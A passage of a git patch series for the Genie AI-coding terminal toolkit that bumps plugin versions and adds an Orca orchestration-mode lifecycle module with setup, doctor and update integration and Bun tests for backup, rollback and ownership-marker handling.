"version": "5.260829.3", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index 530f28daa..d54973f9c 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260829.2", + "version": "5.260829.3", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index c3509ae20..6577587da 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.2", + "version": "5.260829.3", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index 4b8218b17..f1ff337ce 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.2", + "version": "5.260829.3", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index 7fcc4e151..b5a71c126 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.2", + "version": "5.260829.3", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index d6e9c0ea5..57ec8708c 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260829.2", + "version": "5.260829.3", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index a2e442cbc..7edfcfb71 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260829.2 +version: 5.260829.3 description: "Native Hermes surface for Genie orchestration: read-only status plus work-plan and review-plan gap tools that the MCP board surface does not cover, hooks, commands, and a thin cockpit skill. Board/task truth comes from the genie MCP tools." provides_tools: # Default surface: exactly the three gap tools the MCP board surface does not cover. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index 7ea8caa75..18a88171f 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260829.2", + "version": "5.260829.3", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT", From 73ccdb43ca94939a29d18cdf6c806cd8687f82a5 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 19:55:52 +0000 Subject: [PATCH 09/45] feat(orca): preserve lifecycle mode transitions (#2811) --- src/genie-commands/doctor.ts | 54 ++++++ src/genie-commands/setup.ts | 15 ++ src/genie-commands/update.ts | 5 + src/genie.ts | 5 + src/lib/orca-plugin-lifecycle.test.ts | 210 ++++++++++++++++++++++ src/lib/orca-plugin-lifecycle.ts | 250 ++++++++++++++++++++++++++ 6 files changed, 539 insertions(+) create mode 100644 src/lib/orca-plugin-lifecycle.test.ts create mode 100644 src/lib/orca-plugin-lifecycle.ts diff --git a/src/genie-commands/doctor.ts b/src/genie-commands/doctor.ts index e1daa71fb..f1f7edde0 100644 --- a/src/genie-commands/doctor.ts +++ b/src/genie-commands/doctor.ts @@ -77,6 +77,7 @@ import { import { hasDuplicateMcpGenieKeys } from '../lib/hermes-mcp-config.js'; import { hasDuplicateSkillsExternalDirsKeys, resolveProductSkillsRoot } from '../lib/hermes-skills-config.js'; import { resolveOmniRuntimeConfig } from '../lib/omni-config.js'; +import { type OrcaPluginCompatibilityResult, inspectOrcaPluginLifecycle } from '../lib/orca-plugin-lifecycle.js'; import { CANONICAL_GENIE_SKILL_NAMES, type CodexAgentDisplayState, @@ -273,6 +274,10 @@ function checkGit(root: string | null): CheckResult[] { } function checkDatabase(root: string | null): CheckResult[] { + const lifecycle = inspectOrcaPluginLifecycle(); + if (lifecycle.mode === 'orca') { + return [{ name: 'genie.db', status: 'pass', detail: 'not opened — Orca is the selected lifecycle authority' }]; + } const dbPath = join(root ?? process.cwd(), '.genie', 'genie.db'); if (!existsSync(dbPath)) { return [ @@ -2062,6 +2067,9 @@ function indexTargetExists(genieDir: string, relativePath: string): boolean { */ export function checkIndexLaneDrift(root: string | null, databaseRoot: string | null): CheckResult[] { const name = 'jar: index-lane drift'; + if (inspectOrcaPluginLifecycle().mode === 'orca') { + return [{ name, status: 'pass', detail: 'not read — Orca is the selected lifecycle authority' }]; + } const base = root ?? process.cwd(); const indexPath = join(base, '.genie', 'INDEX.md'); if (!existsSync(indexPath)) { @@ -2137,6 +2145,51 @@ export interface DoctorDeps { projectContext?: ProjectContext | null; /** TEST-ONLY cryptographic seam for persisted delivery-evidence fixtures; no CLI/env path exposes it. */ deliveryEvidenceVerification?: DeliveryEvidenceVerificationDependencies; + /** A3 public compatibility probe seam for Orca-mode diagnostics. */ + orcaCompatibilityProbe?: () => Promise<OrcaPluginCompatibilityResult>; +} + +export async function checkOrcaLifecycle(deps: DoctorDeps, probeLiveRuntime = true): Promise<CheckResult[]> { + const state = inspectOrcaPluginLifecycle(); + const payloadStatus = + state.payload === 'owned-clean' || (state.mode === 'standalone' && state.payload === 'unmanaged'); + const results: CheckResult[] = [ + { + name: 'orchestration authority', + status: state.mode === 'invalid' ? 'fail' : 'pass', + detail: `mode=${state.mode}; payload=${state.payload}; host_registration=${state.hostRegistration}`, + suggestion: state.recovery, + }, + ]; + if (state.mode !== 'orca') return results; + if (!payloadStatus) { + const authority = results[0]; + if (authority !== undefined) results[0] = { ...authority, status: 'fail' }; + return results; + } + if (!probeLiveRuntime && deps.orcaCompatibilityProbe === undefined) return results; + try { + const probe = + deps.orcaCompatibilityProbe ?? + (async () => { + const { createOrcaPluginRuntime } = await import('../../plugins/genie/orca-runtime.js'); + return createOrcaPluginRuntime().probe(); + }); + const compatibility = await probe(); + results.push({ + name: 'Orca compatibility', + status: 'pass', + detail: `runtime=${compatibility.runtimeVersion}; contract=${compatibility.contract}; runtime_id=${compatibility.runtimeId}`, + }); + } catch (error) { + results.push({ + name: 'Orca compatibility', + status: 'fail', + detail: error instanceof Error ? error.message : String(error), + suggestion: 'Use a supported Orca runtime, then retry `genie setup --orchestration-mode orca`.', + }); + } + return results; } // ============================================================================ @@ -2267,6 +2320,7 @@ export async function doctorCommand(options?: { json?: boolean; fix?: boolean }, : (hostObservation?.probe ?? probeCodexGeniePlugin()); const results: CheckResult[] = [ ...checkGenieBinary(), + ...(await checkOrcaLifecycle(deps, !injectedRoot || deps.orcaCompatibilityProbe !== undefined)), ...checkGit(root), ...checkDatabase(databaseRoot), ...checkSkills(root), diff --git a/src/genie-commands/setup.ts b/src/genie-commands/setup.ts index 66b999566..5563f2072 100644 --- a/src/genie-commands/setup.ts +++ b/src/genie-commands/setup.ts @@ -60,6 +60,7 @@ import { saveGenieConfig, } from '../lib/genie-config.js'; import { resolveCodexDir, resolveGenieHome } from '../lib/genie-home.js'; +import { type OrcaPluginCompatibilityResult, switchOrchestrationMode } from '../lib/orca-plugin-lifecycle.js'; import { acquireOrderedLifecycleLeases, releaseOrderedLifecycleLeases } from '../lib/ordered-lifecycle-leases.js'; import { type CodexAgentInstallResult, @@ -83,6 +84,7 @@ export interface SetupOptions { session?: boolean; reset?: boolean; show?: boolean; + orchestrationMode?: 'standalone' | 'orca'; } export interface SetupDeps { @@ -132,6 +134,8 @@ export interface SetupDeps { afterAssets?: () => void; afterRoute?: () => void; }; + /** A3 public compatibility probe seam for isolated Orca mode-switch tests. */ + orcaCompatibilityProbe?: () => Promise<OrcaPluginCompatibilityResult>; } export class SetupIntegrationError extends Error { @@ -1031,6 +1035,17 @@ async function runSetupCommand(options: SetupOptions, deps: SetupDeps): Promise< return; } + if (options.orchestrationMode !== undefined) { + if (options.orchestrationMode !== 'standalone' && options.orchestrationMode !== 'orca') { + throw new SetupIntegrationError('orchestration mode must be either "standalone" or "orca"'); + } + const result = await switchOrchestrationMode(options.orchestrationMode, { probe: deps.orcaCompatibilityProbe }); + const detail = result.changed ? 'changed' : 'already selected'; + console.log(`\x1b[32m\u2713\x1b[0m Orchestration mode ${detail}: ${result.mode}`); + if (result.backupPath !== null) console.log(` Previous config backed up at ${contractPath(result.backupPath)}`); + return; + } + // Load existing config let config = await loadGenieConfig(); const baseline = structuredClone(config); diff --git a/src/genie-commands/update.ts b/src/genie-commands/update.ts index 8279ce602..7b425577c 100644 --- a/src/genie-commands/update.ts +++ b/src/genie-commands/update.ts @@ -59,6 +59,7 @@ import { } from '../lib/install-promotion.js'; import { inspectPhysicalPath } from '../lib/install-transaction.js'; import { retireInstallVersionMarker } from '../lib/install-version-marker.js'; +import { refreshOwnedOrcaPluginMetadata } from '../lib/orca-plugin-lifecycle.js'; import { type HeldOrderedLifecycleLeases, acquireOrderedLifecycleLeases, @@ -3177,6 +3178,10 @@ async function runDelivery( cleanupStagingArtifacts(externalRoot, tarballPath); }, }); + // A4: refresh only an existing Genie ownership claim. The public A3 + // compatibility probe must succeed before the marker advances; config and + // both authorities' lifecycle history remain untouched. + await refreshOwnedOrcaPluginMetadata(); // The payload is now in GENIE_HOME; publish attested delivery facts (and the // rollback sidecar for a protocol-capable backup) under the held lease. const deliveryRoot = resolveCanonicalPayloadRoot(); diff --git a/src/genie.ts b/src/genie.ts index 1edd70a89..5e728917d 100644 --- a/src/genie.ts +++ b/src/genie.ts @@ -73,6 +73,11 @@ program .option('--codex', 'Activate the authenticated Codex delivery and converge its managed surfaces') .option('--terminal', 'Only configure terminal defaults') .option('--session', 'Only configure session settings') + .addOption( + new Option('--orchestration-mode <mode>', 'Select lifecycle authority explicitly') + .choices(['standalone', 'orca']) + .conflicts(['quick', 'shortcuts', 'codex', 'terminal', 'session', 'reset', 'show']), + ) .option('--reset', 'Reset configuration to defaults') .option('--show', 'Show current configuration') .action(async (options: SetupOptions) => { diff --git a/src/lib/orca-plugin-lifecycle.test.ts b/src/lib/orca-plugin-lifecycle.test.ts new file mode 100644 index 000000000..2199abb3e --- /dev/null +++ b/src/lib/orca-plugin-lifecycle.test.ts @@ -0,0 +1,210 @@ +import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { checkOrcaLifecycle } from '../genie-commands/doctor.js'; +import { setupCommand } from '../genie-commands/setup.js'; +import { + inspectOrcaPluginLifecycle, + refreshOwnedOrcaPluginMetadata, + switchOrchestrationMode, + uninstallOwnedOrcaPluginMetadata, +} from './orca-plugin-lifecycle.js'; + +let home: string; +let previousHome: string | undefined; + +function writePayload(manifest = '{"version":"1"}', entrypoint = 'export default {}') { + const root = join(home, 'plugins', 'genie'); + mkdirSync(root, { recursive: true }); + writeFileSync(join(root, 'orca-plugin.json'), manifest); + writeFileSync(join(root, 'orca-entrypoint.min.js'), entrypoint); +} + +beforeEach(() => { + home = mkdtempSync(join(tmpdir(), 'genie-orca-lifecycle-')); + previousHome = process.env.GENIE_HOME; + process.env.GENIE_HOME = home; +}); + +afterEach(() => { + if (previousHome === undefined) process.env.GENIE_HOME = undefined; + else process.env.GENIE_HOME = previousHome; +}); + +describe('Orca plugin lifecycle transitions', () => { + test('switches to Orca only after the public compatibility probe and preserves unrelated config', async () => { + writePayload(); + writeFileSync(join(home, 'config.json'), '{\n "custom": {"kept": true}\n}\n'); + let probed = false; + + const result = await switchOrchestrationMode('orca', { + probe: async () => { + probed = true; + return { runtimeId: 'runtime_1', runtimeVersion: '1.4.193', contract: 'orchestration.contract.v1' }; + }, + }); + + expect(probed).toBe(true); + expect(result.changed).toBe(true); + expect(JSON.parse(readFileSync(join(home, 'config.json'), 'utf8'))).toMatchObject({ + custom: { kept: true }, + orchestration: { mode: 'orca' }, + }); + expect(existsSync(result.backupPath!)).toBe(true); + expect(inspectOrcaPluginLifecycle()).toMatchObject({ payload: 'owned-clean', mode: 'orca' }); + }); + + test('probe failure preserves exact config bytes and creates no ownership claim', async () => { + writePayload(); + const original = '{\n "custom": true\n}\n'; + writeFileSync(join(home, 'config.json'), original); + + await expect( + switchOrchestrationMode('orca', { + probe: async () => { + throw new Error('incompatible'); + }, + }), + ).rejects.toThrow('incompatible'); + + expect(readFileSync(join(home, 'config.json'), 'utf8')).toBe(original); + expect(inspectOrcaPluginLifecycle().payload).toBe('unmanaged'); + }); + + for (const boundary of ['afterBackup', 'afterOwnership', 'beforeConfigCommit'] as const) { + test(`failure at ${boundary} restores config and ownership exactly`, async () => { + writePayload(); + const original = '{\n "custom": "preserved"\n}\n'; + writeFileSync(join(home, 'config.json'), original); + + await expect( + switchOrchestrationMode('orca', { + probe: async () => ({ + runtimeId: 'runtime_1', + runtimeVersion: '1.4.193', + contract: 'orchestration.contract.v1', + }), + hooks: { + [boundary]: () => { + throw new Error(`failed at ${boundary}`); + }, + }, + }), + ).rejects.toThrow(`failed at ${boundary}`); + expect(readFileSync(join(home, 'config.json'), 'utf8')).toBe(original); + expect(inspectOrcaPluginLifecycle().payload).toBe('unmanaged'); + }); + } + + test('repeat transitions are idempotent and standalone never probes or rewrites lifecycle history', async () => { + writePayload(); + writeFileSync(join(home, 'config.json'), JSON.stringify({ orchestration: { mode: 'standalone' } })); + writeFileSync(join(home, 'genie.db'), 'database-history'); + let probes = 0; + const deps = { + probe: async () => { + probes += 1; + return { runtimeId: 'runtime_1', runtimeVersion: '1.4.193', contract: 'orchestration.contract.v1' as const }; + }, + }; + + expect((await switchOrchestrationMode('orca', deps)).changed).toBe(true); + expect((await switchOrchestrationMode('orca', deps)).changed).toBe(false); + expect((await switchOrchestrationMode('standalone', deps)).changed).toBe(true); + expect((await switchOrchestrationMode('standalone', deps)).changed).toBe(false); + expect(probes).toBe(1); + expect(readFileSync(join(home, 'genie.db'), 'utf8')).toBe('database-history'); + }); + + test('uninstall removes only a clean Genie ownership marker and never payload or history', async () => { + writePayload(); + writeFileSync(join(home, 'config.json'), JSON.stringify({ orchestration: { mode: 'standalone' } })); + writeFileSync(join(home, 'roadmap.json'), 'history'); + await switchOrchestrationMode('orca', { + probe: async () => ({ + runtimeId: 'runtime_1', + runtimeVersion: '1.4.193', + contract: 'orchestration.contract.v1', + }), + }); + + expect(uninstallOwnedOrcaPluginMetadata()).toBe('removed'); + expect(existsSync(join(home, 'plugins', 'genie', 'orca-plugin.json'))).toBe(true); + expect(readFileSync(join(home, 'roadmap.json'), 'utf8')).toBe('history'); + expect(uninstallOwnedOrcaPluginMetadata()).toBe('absent'); + }); + + test('update refreshes only an existing ownership claim after compatibility succeeds', async () => { + writePayload(); + writeFileSync(join(home, 'config.json'), JSON.stringify({ orchestration: { mode: 'standalone' } })); + const compatible = async () => ({ + runtimeId: 'runtime_1', + runtimeVersion: '1.4.193', + contract: 'orchestration.contract.v1' as const, + }); + await switchOrchestrationMode('orca', { probe: compatible }); + const markerPath = join(home, 'plugins', 'genie', '.orca-plugin-ownership.json'); + const previousMarker = readFileSync(markerPath, 'utf8'); + writeFileSync(join(home, 'plugins', 'genie', 'orca-entrypoint.min.js'), 'updated'); + + await expect( + refreshOwnedOrcaPluginMetadata(async () => { + throw new Error('unsupported update payload'); + }), + ).rejects.toThrow('unsupported update payload'); + expect(readFileSync(markerPath, 'utf8')).toBe(previousMarker); + expect(await refreshOwnedOrcaPluginMetadata(compatible)).toBe('refreshed'); + expect(inspectOrcaPluginLifecycle().payload).toBe('owned-clean'); + }); + + test('setup mode surface reports success, idempotency, and error exit/stderr', async () => { + writePayload(); + const output: string[] = []; + const errors: string[] = []; + const priorLog = console.log; + const priorError = console.error; + const priorExit = process.exitCode; + console.log = (...args) => output.push(args.join(' ')); + console.error = (...args) => errors.push(args.join(' ')); + process.exitCode = 0; + try { + const probe = async () => ({ + runtimeId: 'runtime_1', + runtimeVersion: '1.4.193', + contract: 'orchestration.contract.v1' as const, + }); + await setupCommand({ orchestrationMode: 'orca' }, { orcaCompatibilityProbe: probe }); + await setupCommand({ orchestrationMode: 'orca' }, { orcaCompatibilityProbe: probe }); + expect(output.join('\n')).toContain('Orchestration mode changed: orca'); + expect(output.join('\n')).toContain('Orchestration mode already selected: orca'); + expect(process.exitCode).toBe(0); + + await setupCommand({ orchestrationMode: 'automatic' as never }); + expect(process.exitCode).toBe(1); + expect(errors.join('\n')).toContain('orchestration mode must be either'); + } finally { + console.log = priorLog; + console.error = priorError; + process.exitCode = priorExit; + } + }); + + test('doctor truthfully reports selected mode, compatibility, and unmanaged host registration', async () => { + writePayload(); + writeFileSync(join(home, 'config.json'), JSON.stringify({ orchestration: { mode: 'standalone' } })); + const probe = async () => ({ + runtimeId: 'runtime_1', + runtimeVersion: '1.4.193', + contract: 'orchestration.contract.v1' as const, + }); + await switchOrchestrationMode('orca', { probe }); + + const checks = await checkOrcaLifecycle({ orcaCompatibilityProbe: probe }); + expect(checks).toHaveLength(2); + expect(checks[0]).toMatchObject({ status: 'pass' }); + expect(checks[0]?.detail).toContain('mode=orca'); + expect(checks[0]?.detail).toContain('host_registration=not-managed'); + expect(checks[1]?.detail).toContain('runtime=1.4.193'); + }); +}); diff --git a/src/lib/orca-plugin-lifecycle.ts b/src/lib/orca-plugin-lifecycle.ts new file mode 100644 index 000000000..4f5960b91 --- /dev/null +++ b/src/lib/orca-plugin-lifecycle.ts @@ -0,0 +1,250 @@ +import { createHash, randomBytes } from 'node:crypto'; +import { existsSync, mkdirSync, readFileSync, renameSync, rmSync, writeFileSync } from 'node:fs'; +import { dirname, join } from 'node:path'; +import { getGenieConfigPath, getGenieDir } from './genie-config.js'; +import { type OrchestrationMode, resolveOrchestrationMode } from './orchestration-mode.js'; + +const OWNERSHIP_FILE = '.orca-plugin-ownership.json'; +const BACKUP_DIR = 'backups/orchestration-mode'; + +/** Structural result of A3's public typed compatibility probe. */ +export interface OrcaPluginCompatibilityResult { + readonly runtimeId: string; + readonly runtimeVersion: string; + readonly contract: 'orchestration.contract.v1'; +} + +interface Ownership { + schemaVersion: 1; + owner: 'genie'; + manifestSha256: string; + entrypointSha256: string; +} + +export interface OrcaLifecycleInspection { + mode: OrchestrationMode | 'invalid'; + payload: 'absent' | 'unmanaged' | 'owned-clean' | 'owned-modified' | 'unsafe-ownership'; + hostRegistration: 'not-managed'; + manifestPath: string; + recovery?: string; +} + +export interface OrcaModeSwitchDependencies { + probe?: () => Promise<OrcaPluginCompatibilityResult>; + /** Test-only boundary hooks. */ + hooks?: { + afterBackup?: () => void; + afterOwnership?: () => void; + beforeConfigCommit?: () => void; + }; +} + +export interface OrcaModeSwitchResult { + changed: boolean; + mode: OrchestrationMode; + backupPath: string | null; + compatibility: OrcaPluginCompatibilityResult | null; +} + +function paths() { + const home = getGenieDir(); + const payloadRoot = join(home, 'plugins', 'genie'); + return { + home, + config: getGenieConfigPath(), + manifest: join(payloadRoot, 'orca-plugin.json'), + entrypoint: join(payloadRoot, 'orca-entrypoint.min.js'), + ownership: join(payloadRoot, OWNERSHIP_FILE), + backups: join(home, BACKUP_DIR), + }; +} + +function digest(path: string): string { + return createHash('sha256').update(readFileSync(path)).digest('hex'); +} + +function expectedOwnership(): Ownership { + const target = paths(); + if (!existsSync(target.manifest) || !existsSync(target.entrypoint)) { + throw new Error('Orca plugin payload is incomplete; reinstall Genie before selecting Orca mode'); + } + return { + schemaVersion: 1, + owner: 'genie', + manifestSha256: digest(target.manifest), + entrypointSha256: digest(target.entrypoint), + }; +} + +function atomicWrite(path: string, bytes: string): void { + mkdirSync(dirname(path), { recursive: true, mode: 0o700 }); + const temporary = `${path}.tmp-${process.pid}-${randomBytes(8).toString('hex')}`; + try { + writeFileSync(temporary, bytes, { encoding: 'utf8', mode: 0o600, flag: 'wx' }); + renameSync(temporary, path); + } finally { + rmSync(temporary, { force: true }); + } +} + +function readOwnership(path: string): Ownership | null | 'unsafe' { + if (!existsSync(path)) return null; + try { + const parsed = JSON.parse(readFileSync(path, 'utf8')) as unknown; + if (typeof parsed !== 'object' || parsed === null || Array.isArray(parsed)) return 'unsafe'; + const record = parsed as Record<string, unknown>; + if ( + Object.keys(record).sort().join(',') !== 'entrypointSha256,manifestSha256,owner,schemaVersion' || + record.schemaVersion !== 1 || + record.owner !== 'genie' || + typeof record.manifestSha256 !== 'string' || + !/^[a-f0-9]{64}$/.test(record.manifestSha256) || + typeof record.entrypointSha256 !== 'string' || + !/^[a-f0-9]{64}$/.test(record.entrypointSha256) + ) { + return 'unsafe'; + } + return record as unknown as Ownership; + } catch { + return 'unsafe'; + } +} + +function sameOwnership(left: Ownership, right: Ownership): boolean { + return left.manifestSha256 === right.manifestSha256 && left.entrypointSha256 === right.entrypointSha256; +} + +function backupConfig(backupRoot: string, bytes: string | null): string { + mkdirSync(backupRoot, { recursive: true, mode: 0o700 }); + const backupPath = join(backupRoot, `config-${Date.now()}-${randomBytes(8).toString('hex')}.json`); + writeFileSync(backupPath, bytes ?? '', { encoding: 'utf8', mode: 0o600, flag: 'wx' }); + return backupPath; +} + +function restore(path: string, bytes: string | null): void { + if (bytes === null) rmSync(path, { force: true }); + else atomicWrite(path, bytes); +} + +function nextConfig(original: string | null, mode: OrchestrationMode): string { + let value: Record<string, unknown> = {}; + if (original !== null) { + const parsed = JSON.parse(original) as unknown; + if (typeof parsed !== 'object' || parsed === null || Array.isArray(parsed)) throw new Error('Invalid Genie config'); + value = parsed as Record<string, unknown>; + } + return `${JSON.stringify({ ...value, orchestration: { mode } }, null, 2)}\n`; +} + +/** Explicit, backup-first authority switch. It never reads or changes lifecycle history. */ +export async function switchOrchestrationMode( + mode: OrchestrationMode, + dependencies: OrcaModeSwitchDependencies = {}, +): Promise<OrcaModeSwitchResult> { + const current = resolveOrchestrationMode(); + if (current === mode) return { changed: false, mode, backupPath: null, compatibility: null }; + + const target = paths(); + const originalConfig = existsSync(target.config) ? readFileSync(target.config, 'utf8') : null; + const originalOwnership = existsSync(target.ownership) ? readFileSync(target.ownership, 'utf8') : null; + let compatibility: OrcaPluginCompatibilityResult | null = null; + let ownership: Ownership | null = null; + + if (mode === 'orca') { + ownership = expectedOwnership(); + const existing = readOwnership(target.ownership); + if (existing === 'unsafe' || (existing !== null && !sameOwnership(existing, ownership))) { + throw new Error('Orca plugin ownership metadata is unsafe or does not match the shipped payload'); + } + const probe = + dependencies.probe ?? + (async () => { + const { createOrcaPluginRuntime } = await import('../../plugins/genie/orca-runtime.js'); + return createOrcaPluginRuntime().probe(); + }); + compatibility = await probe(); + } + + const backupPath = backupConfig(target.backups, originalConfig); + dependencies.hooks?.afterBackup?.(); + try { + if (ownership !== null) atomicWrite(target.ownership, `${JSON.stringify(ownership, null, 2)}\n`); + dependencies.hooks?.afterOwnership?.(); + dependencies.hooks?.beforeConfigCommit?.(); + atomicWrite(target.config, nextConfig(originalConfig, mode)); + } catch (error) { + restore(target.config, originalConfig); + restore(target.ownership, originalOwnership); + throw error; + } + return { changed: true, mode, backupPath, compatibility }; +} + +/** Read-only status used by doctor; host registration is intentionally user-managed. */ +export function inspectOrcaPluginLifecycle(): OrcaLifecycleInspection { + const target = paths(); + let mode: OrcaLifecycleInspection['mode']; + try { + mode = resolveOrchestrationMode(); + } catch { + mode = 'invalid'; + } + const base = { mode, hostRegistration: 'not-managed' as const, manifestPath: target.manifest }; + if (!existsSync(target.manifest) && !existsSync(target.entrypoint)) return { ...base, payload: 'absent' }; + if (!existsSync(target.manifest) || !existsSync(target.entrypoint)) { + return { ...base, payload: 'owned-modified', recovery: 'reinstall Genie to restore the complete Orca payload' }; + } + const existing = readOwnership(target.ownership); + if (existing === null) return { ...base, payload: 'unmanaged' }; + if (existing === 'unsafe') { + return { ...base, payload: 'unsafe-ownership', recovery: 'review the ownership marker; Genie will not replace it' }; + } + return sameOwnership(existing, expectedOwnership()) + ? { ...base, payload: 'owned-clean' } + : { ...base, payload: 'owned-modified', recovery: 'reinstall or update Genie; modified payload was preserved' }; +} + +/** Remove only the digest-proven ownership marker; payload and all history remain untouched. */ +export function uninstallOwnedOrcaPluginMetadata(): 'removed' | 'absent' | 'preserved' { + const target = paths(); + const existing = readOwnership(target.ownership); + if (existing === null) return 'absent'; + if (existing === 'unsafe') return 'preserved'; + let expected: Ownership; + try { + expected = expectedOwnership(); + } catch { + return 'preserved'; + } + if (!sameOwnership(existing, expected)) return 'preserved'; + rmSync(target.ownership); + return 'removed'; +} + +/** Refresh a prior Genie ownership claim after update/rollback replaces the verified payload. */ +export async function refreshOwnedOrcaPluginMetadata( + probeOverride?: () => Promise<OrcaPluginCompatibilityResult>, +): Promise<'standalone' | 'unmanaged' | 'unchanged' | 'refreshed'> { + if (resolveOrchestrationMode() !== 'orca') return 'standalone'; + const target = paths(); + const previous = readOwnership(target.ownership); + if (previous === null) return 'unmanaged'; + if (previous === 'unsafe') throw new Error('Orca plugin ownership metadata is unsafe; update preserved it'); + const expected = expectedOwnership(); + if (sameOwnership(previous, expected)) return 'unchanged'; + const probe = + probeOverride ?? + (async () => { + const { createOrcaPluginRuntime } = await import('../../plugins/genie/orca-runtime.js'); + return createOrcaPluginRuntime().probe(); + }); + await probe(); + const original = readFileSync(target.ownership, 'utf8'); + try { + atomicWrite(target.ownership, `${JSON.stringify(expected, null, 2)}\n`); + } catch (error) { + atomicWrite(target.ownership, original); + throw error; + } + return 'refreshed'; +} From 2523a4bdbf4773587abb65bc224e361508b84d25 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sat, 29 Aug 2026 19:58:19 +0000 Subject: [PATCH 10/45] chore(version): bump to 5.260829.4 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 5d22d358d..5954d3428 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260829.3", + "version": "5.260829.4", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index d54973f9c..3be9b2472 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260829.3", + "version": "5.260829.4", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 6577587da..8a29f7ed3 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.3", + "version": "5.260829.4", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index f1ff337ce..a39eaa20b 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.3", + "version": "5.260829.4", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index b5a71c126..b5cae89ed 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.3", + "version": "5.260829.4", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index 57ec8708c..300ada4bf 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260829.3", + "version": "5.260829.4", "private": true, "description": "Runtime dependencies for genie bundled CLIs", 